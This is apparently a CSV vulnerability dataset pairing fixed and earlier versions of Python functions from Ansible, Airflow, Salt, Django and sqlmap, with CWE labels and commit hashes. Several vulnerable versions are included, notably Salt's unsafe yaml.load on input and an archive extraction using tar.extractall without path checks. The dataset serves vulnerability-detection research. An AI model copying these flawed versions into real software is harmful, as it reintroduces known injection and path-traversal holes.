            config = config.lstrip()
            config_list = config.split('\n')
            for config_mem in config_list:
                config_mem = config_mem.lstrip()
                config_mem_list = config_mem.split(' ')
                if len(config_mem_list) > 4 and config_mem_list[2] == ""ip"":
                    if config_mem_list[3] == ""active"":
                        active_tmp[""ip""] = config_mem_list[4]
                    if config_mem_list[3] == ""inactive"":
                        inactive_tmp[""ip""] = config_mem_list[4]
                    if config_mem_list[3] == ""tcp-session"":
                        tcp_tmp[""ip""] = ""present""
                if len(config_mem_list) > 5 and config_mem_list[2] == ""vxlan"":
                    if config_mem_list[4] == ""active"":
                        active_tmp[""vxlan""] = config_mem_list[5]
                    if config_mem_list[4] == ""inactive"":
                        inactive_tmp[""vxlan""] = config_mem_list[5]
                    if config_mem_list[4] == ""tcp-session"":
                        tcp_tmp[""vxlan""] = ""present""
        self.end_state[""active_timeout""].append(active_tmp)
        self.end_state[""inactive_timeout""].append(inactive_tmp)
        self.end_state[""tcp_timeout""].append(tcp_tmp)",,ansible/ansible,9724b230e31e12764d2129751fac33ac62457945,"def get_end_timer_out_para(self):
        """"""Get end netstream timeout parameters""""""

        active_tmp = dict()
        inactive_tmp = dict()
        tcp_tmp = dict()
        active_tmp[""ip""] = ""30""
        active_tmp[""vxlan""] = ""30""
        inactive_tmp[""ip""] = ""30""
        inactive_tmp[""vxlan""] = ""30""
        tcp_tmp[""ip""] = ""absent""
        tcp_tmp[""vxlan""] = ""absent""
        flags = list()
        exp = "" | ignore-case include netstream timeout""
        exp = ""| ignore-case include evpn-overlay enable""
        flags.append(exp)
        config = get_config(self.module, flags)
        if config:
            config = config.lstrip()
            config_list = config.split('\n')
            for config_mem in config_list:
                config_mem = config_mem.lstrip()
                config_mem_list = config_mem.split(' ')
                if config_mem_list[2] == ""ip"":
                    if config_mem_list[3] == ""active"":
                        active_tmp[""ip""] = config_mem_list[4]
                    if config_mem_list[3] == ""inactive"":
                        inactive_tmp[""ip""] = config_mem_list[4]
                    if config_mem_list[3] == ""tcp-session"":
                        tcp_tmp[""ip""] = ""present""
                if config_mem_list[2] == ""vxlan"":
                    if config_mem_list[4] == ""active"":
                        active_tmp[""vxlan""] = config_mem_list[5]
                    if config_mem_list[4] == ""inactive"":
                        inactive_tmp[""vxlan""] = config_mem_list[5]
                    if config_mem_list[4] == ""tcp-session"":
                        tcp_tmp[""vxlan""] = ""present""
        self.end_state[""active_timeout""].append(active_tmp)
        self.end_state[""inactive_timeout""].append(inactive_tmp)
        self.end_state[""tcp_timeout""].append(tcp_tmp)"
,UNKNOWN,UNKNOWN,providers/standard/src/airflow/providers/standard/operators/branch.py,1,"def _expand_task_group_roots(
        self, ti: RuntimeTaskInstanceProtocol, branches_to_execute: str | Iterable[str]
    ) -> Iterable[str]:
        """"""Expand any task group into its root task ids.""""""
        if TYPE_CHECKING:
            assert ti.task

        task = ti.task
        dag = task.dag
        if TYPE_CHECKING:
            assert dag

        if isinstance(branches_to_execute, str) or not isinstance(branches_to_execute, Iterable):
            branches_to_execute = [branches_to_execute]

        for branch in branches_to_execute:
            if branch in dag.task_group_dict:
                tg = dag.task_group_dict[branch]
                root_ids = [root.task_id for root in tg.roots]
                self.log.info(""Expanding task group %s into %s"", tg.group_id, root_ids)
                yield from root_ids
            else:
                yield branch",CWE-703,apache/airflow,fdabc9fa6372140f127c3c868cda6cb73022d535,"def _expand_task_group_roots(
        self, ti: RuntimeTaskInstanceProtocol, branches_to_execute: str | Iterable[str]
    ) -> Iterable[str]:
        """"""Expand any task group into its root task ids.""""""
        if TYPE_CHECKING:
            assert ti.task

        task = ti.task
        dag = task.dag
        if TYPE_CHECKING:
            assert dag

        if branches_to_execute is None:
            return
        elif isinstance(branches_to_execute, str) or not isinstance(branches_to_execute, Iterable):
            branches_to_execute = [branches_to_execute]

        for branch in branches_to_execute:
            if branch in dag.task_group_dict:
                tg = dag.task_group_dict[branch]
                root_ids = [root.task_id for root in tg.roots]
                self.log.info(""Expanding task group %s into %s"", tg.group_id, root_ids)
                yield from root_ids
            else:
                yield branch"
,UNKNOWN,UNKNOWN,salt/modules/pkg_resource.py,1,"def pack_pkgs(pkgs):
    '''
    Accepts list (or a string representing a list) and returns back either the
    list passed, or the list represenation of the string passed.

    Example: '[""foo"",""bar"",""baz""]' would become [""foo"",""bar"",""baz""]
    '''
    if isinstance(pkgs, basestring):
        try:
            pkgs = yaml.safe_load(pkgs)
        except yaml.parser.ParserError as err:
            log.error(err)
            return []
    if not isinstance(pkgs, list) \
    or [x for x in pkgs if not isinstance(x, basestring)]:
        log.error('Invalid input: {0}'.format(pprint.pformat(pkgs)))
        log.error('Input must be a list of strings')
        return []
    return pkgs",CWE-20,saltstack/salt,a922f7d1ba1b71a1d535c6f9ec9ee4fd07cadc7d,"def pack_pkgs(pkgs):
    '''
    Accepts list (or a string representing a list) and returns back either the
    list passed, or the list represenation of the string passed.

    Example: '[""foo"",""bar"",""baz""]' would become [""foo"",""bar"",""baz""]
    '''
    if isinstance(pkgs, basestring):
        try:
            pkgs = yaml.load(pkgs)
        except yaml.parser.ParserError as err:
            log.error(err)
            return []
    if not isinstance(pkgs, list) \
    or [x for x in pkgs if not isinstance(x, basestring)]:
        log.error('Invalid input: {0}'.format(pprint.pformat(pkgs)))
        log.error('Input must be a list of strings')
        return []
    return pkgs"
,UNKNOWN,UNKNOWN,tests/schema/fields.py,1,"def __init__(self, to, db_constraint=True, swappable=True, related_name=None, related_query_name=None,
                 limit_choices_to=None, symmetrical=None, through=None, through_fields=None, db_table=None, **kwargs):
        try:
            to._meta
        except AttributeError:
            to = str(to)
        kwargs['rel'] = models.ManyToManyRel(
            self, to,
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            symmetrical=symmetrical if symmetrical is not None else (to == RECURSIVE_RELATIONSHIP_CONSTANT),
            through=through,
            through_fields=through_fields,
            db_constraint=db_constraint,
        )
        self.swappable = swappable
        self.db_table = db_table
        if kwargs['rel'].through is not None:
            assert self.db_table is None, ""Cannot specify a db_table if an intermediary model is used.""
        super().__init__(
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            **kwargs,
        )",CWE-703,django/django,b9df2b74b98b4d63933e8061d3cfc1f6f39eb747,"def __init__(self, to, db_constraint=True, swappable=True, related_name=None, related_query_name=None,
                 limit_choices_to=None, symmetrical=None, through=None, through_fields=None, db_table=None, **kwargs):
        try:
            to._meta
        except AttributeError:
            to = str(to)
        kwargs['rel'] = models.ManyToManyRel(
            self, to,
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            symmetrical=symmetrical if symmetrical is not None else (to == RECURSIVE_RELATIONSHIP_CONSTANT),
            through=through,
            through_fields=through_fields,
            db_constraint=db_constraint,
        )
        self.swappable = swappable
        self.db_table = db_table
        if kwargs['rel'].through is not None:
            assert self.db_table is None, ""Cannot specify a db_table if an intermediary model is used.""
        super().__init__(**kwargs)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/fetch.py,0,"def run(self, tmp=None, task_vars=dict()):
        ''' handler for fetch operations '''

        if self._play_context.check_mode:
            return dict(skipped=True, msg='check mode not (yet) supported for this module')

        source            = self._task.args.get('src', None)
        dest              = self._task.args.get('dest', None)
        flat              = boolean(self._task.args.get('flat'))
        fail_on_missing   = boolean(self._task.args.get('fail_on_missing'))
        validate_checksum = boolean(self._task.args.get('validate_checksum', self._task.args.get('validate_md5')))

        if 'validate_md5' in self._task.args and 'validate_checksum' in self._task.args:
            return dict(failed=True, msg=""validate_checksum and validate_md5 cannot both be specified"")

        if source is None or dest is None:
            return dict(failed=True, msg=""src and dest are required"")

        source = self._connection._shell.join_path(source)
        source = self._remote_expand_user(source, tmp)

        # calculate checksum for the remote file
        remote_checksum = self._remote_checksum(tmp, source)

        # use slurp if sudo and permissions are lacking
        remote_data = None
        if remote_checksum in ('1', '2') or self._play_context.become:
            slurpres = self._execute_module(module_name='slurp', module_args=dict(src=source), task_vars=task_vars, tmp=tmp)
            if slurpres.get('rc') == 0:
                if slurpres['encoding'] == 'base64':
                    remote_data = base64.b64decode(slurpres['content'])
                if remote_data is not None:
                    remote_checksum = checksum_s(remote_data)
                # the source path may have been expanded on the
                # target system, so we compare it here and use the
                # expanded version if it's different
                remote_source = slurpres.get('source')
                if remote_source and remote_source != source:
                    source = remote_source
            else:
                # FIXME: should raise an error here? the old code did nothing
                pass

        # calculate the destination name
        if os.path.sep not in self._connection._shell.join_path('a', ''):
            source = self._connection._shell._unquote(source)
            source_local = source.replace('\\', '/')
        else:
            source_local = source

        dest = os.path.expanduser(dest)
        if flat:
            if dest.endswith(os.sep):
                # if the path ends with ""/"", we'll use the source filename as the
                # destination filename
                base = os.path.basename(source_local)
                dest = os.path.join(dest, base)
            if not dest.startswith(""/""):
                # if dest does not start with ""/"", we'll assume a relative path
                dest = self._loader.path_dwim(dest)
        else:
            # files are saved in dest dir, with a subdir for each host, then the filename
            if 'inventory_hostname' in task_vars:
                target_name = task_vars['inventory_hostname']
            else:
                target_name = self._play_context.remote_addr
            dest = ""%s/%s/%s"" % (self._loader.path_dwim(dest), target_name, source_local)

        dest = dest.replace(""//"",""/"")

        if remote_checksum in ('0', '1', '2', '3', '4'):
            # these don't fail because you may want to transfer a log file that possibly MAY exist
            # but keep going to fetch other log files
            if remote_checksum == '0':
                result = dict(msg=""unable to calculate the checksum of the remote file"", file=source, changed=False)
            elif remote_checksum == '1':
                if fail_on_missing:
                    result = dict(failed=True, msg=""the remote file does not exist"", file=source)
                else:
                    result = dict(msg=""the remote file does not exist, not transferring, ignored"", file=source, changed=False)
            elif remote_checksum == '2':
                result = dict(msg=""no read permission on remote file, not transferring, ignored"", file=source, changed=False)
            elif remote_checksum == '3':
                result = dict(msg=""remote file is a directory, fetch cannot work on directories"", file=source, changed=False)
            elif remote_checksum == '4':
                result = dict(msg=""python isn't present on the system.  Unable to compute checksum"", file=source, changed=False)
            return result

        # calculate checksum for the local file
        local_checksum = checksum(dest)

        if remote_checksum != local_checksum:
            # create the containing directories, if needed
            makedirs_safe(os.path.dirname(dest))

            # fetch the file and check for changes
            if remote_data is None:
                self._connection.fetch_file(source, dest)
            else:
                try:
                    f = open(dest, 'w')
                    f.write(remote_data)
                    f.close()
                except (IOError, OSError) as e:
                    raise AnsibleError(""Failed to fetch the file: %s"" % e)
            new_checksum = secure_hash(dest)
            # For backwards compatibility.  We'll return None on FIPS enabled
            # systems
            try:
                new_md5 = md5(dest)
            except ValueError:
                new_md5 = None

            if validate_checksum and new_checksum != remote_checksum:
                return dict(failed=True, md5sum=new_md5, msg=""checksum mismatch"", file=source, dest=dest, remote_md5sum=None, checksum=new_checksum, remote_checksum=remote_checksum)
            return dict(changed=True, md5sum=new_md5, dest=dest, remote_md5sum=None, checksum=new_checksum, remote_checksum=remote_checksum)
        else:
            # For backwards compatibility.  We'll return None on FIPS enabled
            # systems
            try:
                local_md5 = md5(dest)
            except ValueError:
                local_md5 = None

            return dict(changed=False, md5sum=local_md5, file=source, dest=dest, checksum=local_checksum)",,ansible/ansible,2a93559fc8a867547d17ef8d51f43e1fbd24e178,"def run(self, tmp=None, task_vars=dict()):
        ''' handler for fetch operations '''

        if self._play_context.check_mode:
            return dict(skipped=True, msg='check mode not (yet) supported for this module')

        source            = self._task.args.get('src', None)
        dest              = self._task.args.get('dest', None)
        flat              = boolean(self._task.args.get('flat'))
        fail_on_missing   = boolean(self._task.args.get('fail_on_missing'))
        validate_checksum = boolean(self._task.args.get('validate_checksum', self._task.args.get('validate_md5')))

        if 'validate_md5' in self._task.args and 'validate_checksum' in self._task.args:
            return dict(failed=True, msg=""validate_checksum and validate_md5 cannot both be specified"")

        if source is None or dest is None:
            return dict(failed=True, msg=""src and dest are required"")

        source = self._connection._shell.join_path(source)
        source = self._remote_expand_user(source, tmp)

        # calculate checksum for the remote file
        remote_checksum = self._remote_checksum(tmp, source)

        # use slurp if sudo and permissions are lacking
        remote_data = None
        if remote_checksum in ('1', '2') or self._play_context.become:
            slurpres = self._execute_module(module_name='slurp', module_args=dict(src=source), task_vars=task_vars, tmp=tmp)
            if slurpres.get('rc') == 0:
                if slurpres['encoding'] == 'base64':
                    remote_data = base64.b64decode(slurpres['content'])
                if remote_data is not None:
                    remote_checksum = checksum_s(remote_data)
                # the source path may have been expanded on the
                # target system, so we compare it here and use the
                # expanded version if it's different
                remote_source = slurpres.get('source')
                if remote_source and remote_source != source:
                    source = remote_source
            else:
                # FIXME: should raise an error here? the old code did nothing
                pass

        # calculate the destination name
        if os.path.sep not in self._connection._shell.join_path('a', ''):
            source_local = source.replace('\\', '/')
        else:
            source_local = source

        dest = os.path.expanduser(dest)
        if flat:
            if dest.endswith(os.sep):
                # if the path ends with ""/"", we'll use the source filename as the
                # destination filename
                base = os.path.basename(source_local)
                dest = os.path.join(dest, base)
            if not dest.startswith(""/""):
                # if dest does not start with ""/"", we'll assume a relative path
                dest = self._loader.path_dwim(dest)
        else:
            # files are saved in dest dir, with a subdir for each host, then the filename
            if 'inventory_hostname' in task_vars:
                target_name = task_vars['inventory_hostname']
            else:
                target_name = self._play_context.remote_addr
            dest = ""%s/%s/%s"" % (self._loader.path_dwim(dest), target_name, source_local)

        dest = dest.replace(""//"",""/"")

        if remote_checksum in ('0', '1', '2', '3', '4'):
            # these don't fail because you may want to transfer a log file that possibly MAY exist
            # but keep going to fetch other log files
            if remote_checksum == '0':
                result = dict(msg=""unable to calculate the checksum of the remote file"", file=source, changed=False)
            elif remote_checksum == '1':
                if fail_on_missing:
                    result = dict(failed=True, msg=""the remote file does not exist"", file=source)
                else:
                    result = dict(msg=""the remote file does not exist, not transferring, ignored"", file=source, changed=False)
            elif remote_checksum == '2':
                result = dict(msg=""no read permission on remote file, not transferring, ignored"", file=source, changed=False)
            elif remote_checksum == '3':
                result = dict(msg=""remote file is a directory, fetch cannot work on directories"", file=source, changed=False)
            elif remote_checksum == '4':
                result = dict(msg=""python isn't present on the system.  Unable to compute checksum"", file=source, changed=False)
            return result

        # calculate checksum for the local file
        local_checksum = checksum(dest)

        if remote_checksum != local_checksum:
            # create the containing directories, if needed
            makedirs_safe(os.path.dirname(dest))

            # fetch the file and check for changes
            if remote_data is None:
                self._connection.fetch_file(source, dest)
            else:
                try:
                    f = open(dest, 'w')
                    f.write(remote_data)
                    f.close()
                except (IOError, OSError) as e:
                    raise AnsibleError(""Failed to fetch the file: %s"" % e)
            new_checksum = secure_hash(dest)
            # For backwards compatibility.  We'll return None on FIPS enabled
            # systems
            try:
                new_md5 = md5(dest)
            except ValueError:
                new_md5 = None

            if validate_checksum and new_checksum != remote_checksum:
                return dict(failed=True, md5sum=new_md5, msg=""checksum mismatch"", file=source, dest=dest, remote_md5sum=None, checksum=new_checksum, remote_checksum=remote_checksum)
            return dict(changed=True, md5sum=new_md5, dest=dest, remote_md5sum=None, checksum=new_checksum, remote_checksum=remote_checksum)
        else:
            # For backwards compatibility.  We'll return None on FIPS enabled
            # systems
            try:
                local_md5 = md5(dest)
            except ValueError:
                local_md5 = None

            return dict(changed=False, md5sum=local_md5, file=source, dest=dest, checksum=local_checksum)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/integration/states/test_pip_state.py,0,"def test_issue_6833_pip_upgrade_pip(self):
        # Create the testing virtualenv
        venv_dir = os.path.join(
            RUNTIME_VARS.TMP, '6833-pip-upgrade-pip'
        )
        ret = self._create_virtualenv(venv_dir)

        self.assertEqual(
            ret['retcode'], 0,
            msg='Expected \'retcode\' key did not match. Full return dictionary:\n{}'.format(
                pprint.pformat(ret)
            )
        )
        import salt.modules.virtualenv_mod
        msg = 'New python executable'
        if salt.modules.virtualenv_mod.virtualenv_ver(venv_dir) >= (20, 0, 2):
            msg = 'created virtual environment'
        self.assertIn(
            msg,
            ret['stdout'],
            msg='Expected STDOUT did not match. Full return dictionary:\n{}'.format(
                pprint.pformat(ret)
            )
        )

        # Let's install a fixed version pip over whatever pip was
        # previously installed
        ret = self.run_function(
            'pip.install', ['pip==8.0'], upgrade=True,
            bin_env=venv_dir
        )

        if not isinstance(ret, dict):
            self.fail(
                'The \'pip.install\' command did not return the excepted dictionary. Output:\n{}'.format(ret)
            )

        self.assertEqual(ret['retcode'], 0)
        self.assertIn(
            'Successfully installed pip',
            ret['stdout']
        )

        # Let's make sure we have pip 8.0 installed
        self.assertEqual(
            self.run_function('pip.list', ['pip'], bin_env=venv_dir),
            {'pip': '8.0.0'}
        )

        # Now the actual pip upgrade pip test
        ret = self.run_state(
            'pip.installed', name='pip==8.0.1', upgrade=True,
            bin_env=venv_dir
        )

        if not isinstance(ret, dict):
            self.fail(
                'The \'pip.install\' command did not return the excepted dictionary. Output:\n{}'.format(ret)
            )

        self.assertSaltTrueReturn(ret)
        self.assertSaltStateChangesEqual(ret, {'pip==8.0.1': 'Installed'})",,saltstack/salt,12e9c5dfb12f21c5feff5cf2d4e5dfac96ae5414,"def test_issue_6833_pip_upgrade_pip(self):
        # Create the testing virtualenv
        venv_dir = os.path.join(
            RUNTIME_VARS.TMP, '6833-pip-upgrade-pip'
        )
        ret = self._create_virtualenv(venv_dir)

        self.assertEqual(
            ret['retcode'], 0,
            msg='Expected \'retcode\' key did not match. Full return dictionary:\n{}'.format(
                pprint.pformat(ret)
            )
        )
        self.assertIn(
            'New python executable',
            ret['stdout'],
            msg='Expected STDOUT did not match. Full return dictionary:\n{}'.format(
                pprint.pformat(ret)
            )
        )

        # Let's install a fixed version pip over whatever pip was
        # previously installed
        ret = self.run_function(
            'pip.install', ['pip==8.0'], upgrade=True,
            bin_env=venv_dir
        )

        if not isinstance(ret, dict):
            self.fail(
                'The \'pip.install\' command did not return the excepted dictionary. Output:\n{}'.format(ret)
            )

        self.assertEqual(ret['retcode'], 0)
        self.assertIn(
            'Successfully installed pip',
            ret['stdout']
        )

        # Let's make sure we have pip 8.0 installed
        self.assertEqual(
            self.run_function('pip.list', ['pip'], bin_env=venv_dir),
            {'pip': '8.0.0'}
        )

        # Now the actual pip upgrade pip test
        ret = self.run_state(
            'pip.installed', name='pip==8.0.1', upgrade=True,
            bin_env=venv_dir
        )

        if not isinstance(ret, dict):
            self.fail(
                'The \'pip.install\' command did not return the excepted dictionary. Output:\n{}'.format(ret)
            )

        self.assertSaltTrueReturn(ret)
        self.assertSaltStateChangesEqual(ret, {'pip==8.0.1': 'Installed'})"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,thirdparty/clientform/clientform.py,0,"def replace_entities(match, entities=entities, encoding=encoding):
        ent = match.group()
        if ent[1] == ""#"":
            return unescape_charref(ent[2:-1], encoding)

        repl = entities.get(ent)
        if repl is not None:
            if hasattr(repl, ""decode"") and encoding is not None:
                try:
                    repl = repl.decode(encoding)
                except UnicodeError:
                    repl = ent
        else:
            repl = ent

        return repl",,sqlmapproject/sqlmap,a8c3d175835d78a8d9ee11568d86d11340f75280,"def replace_entities(match, entities=entities, encoding=encoding):
        ent = match.group()
        if ent[1] == ""#"":
            return unescape_charref(ent[2:-1], encoding)

        repl = entities.get(ent)
        if repl is not None:
            if type(repl) != type("""") and encoding is not None:
                try:
                    repl = repl.encode(encoding)
                except UnicodeError:
                    repl = ent
        else:
            repl = ent

        return repl"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/utils/cli.py,0,"def _build_metrics(func_name, namespace):
    """"""
    Builds metrics dict from function args
    It assumes that function arguments is from airflow.bin.cli module's function
    and has Namespace instance where it optionally contains ""dag_id"", ""task_id"",
    and ""execution_date"".

    :param func_name: name of function
    :param namespace: Namespace instance from argparse
    :return: dict with metrics
    """"""
    from airflow.models import Log

    sub_commands_to_check = {'users', 'connections'}
    sensitive_fields = {'-p', '--password', '--conn-password'}
    full_command = list(sys.argv)
    sub_command = full_command[1] if len(full_command) > 1 else None
    if sub_command in sub_commands_to_check:
        for idx, command in enumerate(full_command):
            if command in sensitive_fields:
                # For cases when password is passed as ""--password xyz"" (with space between key and value)
                full_command[idx + 1] = ""*"" * 8
            else:
                # For cases when password is passed as ""--password=xyz"" (with '=' between key and value)
                for sensitive_field in sensitive_fields:
                    if command.startswith(f'{sensitive_field}='):
                        full_command[idx] = f'{sensitive_field}={""*"" * 8}'

    metrics = {
        'sub_command': func_name,
        'start_datetime': datetime.utcnow(),
        'full_command': f'{full_command}',
        'user': getuser(),
    }

    if not isinstance(namespace, Namespace):
        raise ValueError(
            ""namespace argument should be argparse.Namespace instance,"" f""but is {type(namespace)}""
        )
    tmp_dic = vars(namespace)
    metrics['dag_id'] = tmp_dic.get('dag_id')
    metrics['task_id'] = tmp_dic.get('task_id')
    metrics['execution_date'] = tmp_dic.get('execution_date')
    metrics['host_name'] = socket.gethostname()

    extra = json.dumps({k: metrics[k] for k in ('host_name', 'full_command')})
    log = Log(
        event=f'cli_{func_name}',
        task_instance=None,
        owner=metrics['user'],
        extra=extra,
        task_id=metrics.get('task_id'),
        dag_id=metrics.get('dag_id'),
        execution_date=metrics.get('execution_date'),
    )
    metrics['log'] = log
    return metrics",CWE-Unknown,apache/airflow,a2d6aa07c9de83278eef14a228eb4a02ad43205c,"def _build_metrics(func_name, namespace):
    """"""
    Builds metrics dict from function args
    It assumes that function arguments is from airflow.bin.cli module's function
    and has Namespace instance where it optionally contains ""dag_id"", ""task_id"",
    and ""execution_date"".

    :param func_name: name of function
    :param namespace: Namespace instance from argparse
    :return: dict with metrics
    """"""
    from airflow.models import Log

    sub_commands_to_check = {'users', 'connections'}
    sensitive_fields = {'-p', '--password', '--conn-password'}
    full_command = list(sys.argv)
    if full_command[1] in sub_commands_to_check:
        for idx, command in enumerate(full_command):
            if command in sensitive_fields:
                # For cases when password is passed as ""--password xyz"" (with space between key and value)
                full_command[idx + 1] = ""*"" * 8
            else:
                # For cases when password is passed as ""--password=xyz"" (with '=' between key and value)
                for sensitive_field in sensitive_fields:
                    if command.startswith(f'{sensitive_field}='):
                        full_command[idx] = f'{sensitive_field}={""*"" * 8}'

    metrics = {
        'sub_command': func_name,
        'start_datetime': datetime.utcnow(),
        'full_command': f'{full_command}',
        'user': getuser(),
    }

    if not isinstance(namespace, Namespace):
        raise ValueError(
            ""namespace argument should be argparse.Namespace instance,"" f""but is {type(namespace)}""
        )
    tmp_dic = vars(namespace)
    metrics['dag_id'] = tmp_dic.get('dag_id')
    metrics['task_id'] = tmp_dic.get('task_id')
    metrics['execution_date'] = tmp_dic.get('execution_date')
    metrics['host_name'] = socket.gethostname()

    extra = json.dumps({k: metrics[k] for k in ('host_name', 'full_command')})
    log = Log(
        event=f'cli_{func_name}',
        task_instance=None,
        owner=metrics['user'],
        extra=extra,
        task_id=metrics.get('task_id'),
        dag_id=metrics.get('dag_id'),
        execution_date=metrics.get('execution_date'),
    )
    metrics['log'] = log
    return metrics"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              user=None,
              group=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False,
              trim_output=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    Example, tar with flag for lmza compression:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    Example, tar with flag for verbose output:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - user: root
            - group: root
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user
        The user to own each extracted file.

        .. deprecated:: 2014.7.2
            replaced by standardized `user` parameter.

    user
        The user to own each extracted file.

    group
        The group to own each extracted file.

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache

    trim_output
        The number of files we should output on success before the rest are trimmed, if this is
        set to True then it will default to 100

    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    # remove this whole block after formal deprecation.
    if archive_user is not None:
        warn_until(
          'Boron',
          'Passing \'archive_user\' is deprecated.'
          'Pass \'user\' instead.'
        )
        if user is None:
            user = archive_user

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name, user=user, group=group)

    log.debug('Extract {0} in {1}'.format(filename, name))
    if archive_format == 'zip':
        files = __salt__['archive.cmd_unzip'](filename, name, trim_output=trim_output)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name, trim_output=trim_output)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if 'bsdtar' in __salt__['cmd.run']('tar --version', python_shell=False):
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    # Recursively set user and group ownership of files after extraction.
    # Note: We do this here because we might not have access to the cachedir.
    if user or group:
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=user,
                                               group=group,
                                               recurse=['user', 'group'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,f972c393332f66cc10bc9a119221fb2ec29e881e,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              user=None,
              group=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False,
              trim_output=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    Example, tar with flag for lmza compression:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

